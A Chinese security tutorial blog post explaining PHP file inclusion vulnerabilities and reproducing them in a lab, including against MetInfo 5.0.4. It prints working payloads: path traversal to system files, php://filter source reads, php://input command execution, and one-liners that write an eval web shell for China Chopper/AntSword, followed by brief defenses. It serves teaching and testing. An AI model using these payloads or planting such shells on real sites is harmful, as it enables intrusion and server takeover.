文件包含漏洞及漏洞复现

这篇具有很好参考价值的文章主要介绍了文件包含漏洞及漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

文件包含漏洞

1. 文件包含概述

程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。

几乎所有的脚本都会提供文件包含的功能,文件包含漏洞在PHP 的Web 应用中居多,在JSP/ASP/ASP.NET 程序中比较少。

1.1 文件包含语句

PHP提供了四个文件包含的语句,四个语句之间略有不同。

语言 区别
include() 多次包含,多次执行;
如果包含失败,脚本产生警告,继续运行。
include_once() 多次包含,一次执行;
如果包含失败,脚本产生警告,继续运行。
require() 多次包含,多次执行;
如果包含失败,脚本产生错误,结束执行。
require_once() 多次包含,一次执行;
如果包含失败,脚本产生错误,结束执行。

注意:

文件读取和文件包含的区别:

  • 在任意文件读取的时候,PHP代码没有执行;
  • 文件包含的时候PHP代码执行了。只要包含的文件中有php代码,包含的过程中就会无脑执行PHP代码。
1.1.1 相关配置

查看phpinfo信息

在phpstudy中的www文件下新建file_include文件夹,在file_include中新建include.php

<?php
    $fp = "../phpinfo.php";
    include($fp);
?>

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含是PHP 的基本功能之一,有本地文件包含与远程文件包含之分。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含就是可以远程(方式)加载文件。可以通过php.ini 中的选项进行配置。

allow_url_fopen = On/Off	# 通过远程方式打开文件
allow_url_include = On/Off	# 通过远程方式包含文件

查看phpinfo中的Core中

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

为了方便实验将两个参数全部改为on

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

1.2 动态包含

1.2.1 示例代码
// file-include.php
$fp = @$_GET['filepath'];
include $fp;
<?php
    //$fp = "../phpinfo.php";
    $fp = @$_GET['filepath'];
    include($fp);
?>

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

1.2.2 本地文件包含

本地文件包含(Local File Include,LFI)通过本地路径访问到的文件。

打开F12

?filepath=../phpinfo.php
?filepath=../ll.php

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

php中最严重的漏洞是文件包含;Java中最严重的漏洞是反序列化

1.2.3 远程文件包含

远程文件包含(Remote File Include,RFI),通过远程路径访问到的文件。

?filepath=http://192.168.16.136/phpinfo.php

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

1.3 原理和特点

原理

PHP 文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的参数,Web 应用没有进行严格的校验,浏览器客户端用户可以影响控制被包含文件的路径,就会产生任意文件包含漏洞。

特点

无视文件扩展名读取文件内容。

?filepath=./a.jpg

无条件解析PHP代码,为图片木马提供出路

?filepath=a_yjh_info.jpg

漏洞形成原因总结:

  1. 开启了文件包含功能
  2. 可以动态包含
  3. 浏览器客户端用户可以控制文件路径:完全控制(约等于拿下系统),影响(路径跳转)

2. 文件包含攻防

2.1 利用方法

2.1.1 包含图片木马

菜刀直接链接。

http://10.4.7.130/file-include/file-include.php?filepath=a_yjh_info.jpg
2.1.2 读取敏感文件

利用文件包含漏洞,也可以读取敏感文件。

前提条件:

  • 目标文件存在(已知目标文件路径);
  • 具有文件可读权限。

具体方法:

# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts

# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts
封装协议 说明
file:// 访问本地文件系统
http:// 访问 HTTP(s) 网址
ftp:// 访问 FTP(s) URLs
php:// 访问各个输入/输出流(I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
glob:// 查找匹配的文件路径模式
phar:// PHP 归档
ssh2:// Secure Shell 2
rar:// RAR
ogg:// 音频流
expect:// 处理交互式的流
2.1.3 读取PHP文件源码

利用php://fileter读取

?filepath=php://filter/read=convert.base64-encode/resource=[目标文件]

读取结果

PD9waHANCi8vIGZpbGUtaW5jbHVkZS5waHANCg0KJGZwID0gQCRfR0VUWydmaWxlcGF0aCddOw0KQGluY2x1ZGUgJGZwOw==
2.1.4 执行PHP命令
  • 利用php://input 执行PHP 命令;
  • 远程文件包含开启。
POST /file-include/include.php?filepath=php://input HTTP/1.1 Host: 192.168.111.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate Connection: close
Cookie: PHPSESSID=q9lc0vlnggvo7kogh6j01a3582 Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache Content-Length: 18

<?php phpinfo();?>
<?php
system('whoami');
?>
2.1.5 包含文件木马写shell

条件:

  • 确定文件包含漏洞存在;
  • 菜刀不能直接连接

写shell

<?php  fputs(fopen("shell.php",'w'),'<?=@eval($_REQUEST[777]);phpinfo();?>')?> 

<?php file_put_contents('shell.php','<?php @eval($_REQUEST[777])?>')?

利用

http://10.4.7.130/file-include/shell.php
2.1.6 包含日志

Apache日志:

  • 访问日志
  • 错误日志

Nginx 日志:

  • 访问日志
  • 错误日志

SSH 日志

邮件日志

2.2 经典案例

  • metinfo_5.0.4_lfi

    • metinfo5.0.4漏洞分析
  • dvwa_lfi_high_getshell

2.2.1 环境搭建

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.2.2 漏洞点
/about/index.php

传参:

?fmodule=7&module=

2.2.3 漏洞产生原因

文件包含语句:require_once

查看about下index.php文件内容

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

输出fmodule和module

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

module是在include/module.php下进行的初始化

控制fmodule的值

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

在include中的module中搜索 f m o d u l e ,当 fmodule,当 fmodule,当fmodule!=7对$module进行初始化,并且if判断没有else;也就是说当 f m o d u l e = 7 不会对 fmodule=7不会对 fmodule=7不会对module进行初始化。

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

页面空白是因为index.php在第十行做包含的时候没有$module值

想要显现页面给$module赋值

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

为$module赋其他的值,证明文件包含成功,文件包含的一大危害是文件读取

module=c:/windows\system32\drivers\etc\hosts

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.2.4 深度利用
  1. 包含图片马使用蚁剑进行连接,在招贤纳士中的在线应聘中有图片上传

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

上传图片木马

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

  1. 访问上传文件,并使用蚁剑进行连接

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

连接失败,因为图片中的一句话木马无法执行

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

  1. 使用文件包含,访问上传的图片
http://192.168.16.136/MetInfo5.0.4/about/index.php?fmodule=7&module=../upload/file/11.png

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

使用蚁剑进行连接

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.2.5 读取敏感文件
# 相对路径
?filepath=../../../../../../windows/system32/drivers/etc/hosts
# 绝对路径
?filepath=c:/windows/system32/drivers/etc/hosts

# 使用php 封装协议
?filepath=file://c:/windows/system32/drivers/etc/hosts

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.2.6 读取php源码
?fmodule=7&module=php://filter/read=convert.base64-encode/resource=show.php

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

使用bp进行解密

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.2.7 执行php命令

使用bp抓包,发送重发器将数据包改为post类型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

修改php语句就可以执行其他语句了

文件包含漏洞及漏洞复现,网络安全,安全,web安全,安全架构,网络攻击模型

2.3 文件包含防御

  • 尽量少的使用动态包含;

  • 严格过滤被包含文件的路径;

  • 将参数allow_url_include 设置为Off;

  • 使用参数open_basedir 限定文件访问范围。文章来源地址https://www.toymoban.com/news/detail-694181.html

open_basedir = c:\phpstudy_2016\www\

到了这里,关于文件包含漏洞及漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【网络安全】CVE漏洞分析以及复现

    漏洞详情 Shiro 在路径控制的时候,未能对传入的 url 编码进行 decode 解码,导致攻击者可以绕过过滤器,访问被过滤的路径。 漏洞影响版本 Shiro 1.0.0-incubating 对应 Maven Repo 里面也有 【一一帮助安全学习,所有资源获取一一】 ①网络安全学习路线 ②20份渗透测试电子书 ③安全

    2024年02月06日
    浏览(46)
  • 网络安全 log4j漏洞复现

    前言: log4j被爆出“史诗级”漏洞。其危害非常大,影响非常广。该漏洞非常容易利用,可以执行任意代码。这个漏洞的影响可谓是重量级的。 漏洞描述: 由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最

    2024年02月09日
    浏览(60)
  • 【web安全】文件包含漏洞

    目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 ​4.3 zip://,bzip2://,zlib://协议  4.4 data://协议 4.5 PHP伪协议总结  5.如何防御? 6.常见系统的默认路径 7.文件包含漏洞的奇技淫巧 LFI+日志文件gets

    2024年02月07日
    浏览(45)
  • Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)

    文件包含的漏洞是  程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , require_once() 等等 ),而且包含函数中的变量,没有做一些过滤或者限制,使得用户可以 控制传到服务器中的数据,导致文件包含漏洞

    2024年02月08日
    浏览(57)
  • 网络安全B模块(笔记详解)- 文件包含

    1.使用渗透机场景kali中工具扫描服务器,将服务器上 File Inclusion首页概述页中的Flag提交; Flag:iloveu 2.使用渗透机场景windows7访问服务器场景网站中的File Inclusion(local)页面,找到根目录下Flag文件夹下的Flag.txt文件并将其内容提交; Flag:asasda 3.使用渗透机场景kali中的工具获取

    2024年01月17日
    浏览(41)
  • 网络安全kali web安全 Kali之msf简单的漏洞利用

    靶机的IP地址为:192.168.173.136 利用nmap工具扫描其开放端口、系统等 整理一下目标系统的相关信息 系统版本:Windows server 2003 开放的端口及服务: 从扫描出的端口发现,目标主机开启了135端口,服务为msrpc(远程过程调用服务),即Windows的RPC服务。 ​针对这个服务,我们就可

    2024年02月09日
    浏览(41)
  • 文件包含漏洞及漏洞复现

    程序开发人员通常会把可重复使用函数或语句写到单个文件中,形成“封装”。在使用某个功能的时候,直接调用此文件,无需再次编写,提高代码重用性,减少代码量。这种调用文件的过程通常称为包含。 程序开发人员都希望代码更加灵活,所以会把被包含的文件的路径设

    2024年02月10日
    浏览(47)
  • Web网络安全-----Log4j高危漏洞原理及修复

    Web网络安全-----红蓝攻防之信息收集 Log4j 即 log for java(java的日志) ,是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;

    2024年02月10日
    浏览(51)
  • 网络安全-pikachu之文件上传漏洞2

    进入到第二个文件上传漏洞,发现名字是MIME type,并且查看前端源代码没发现限制,所以是后段,盲猜通过抓包就可以绕过后段限制。 先知道MIME type是什么,通过查找资料发现是:Content-Type是返回消息中非常重要的内容,表示后面的文档属于什么MIME类型。Content-Type: [type]/[

    2024年02月21日
    浏览(40)
  • 网络安全进阶学习第五课——文件上传漏洞

    大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。 由于对上传文件 未作过滤 或 过滤机制不严(文件后缀或类型) ,导致恶意用户可以上传 脚本文件 ,通过上传文件可以达到控制网站权限的目的。 攻击者可获得网站控制权限; 查看、修改

    2024年02月06日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包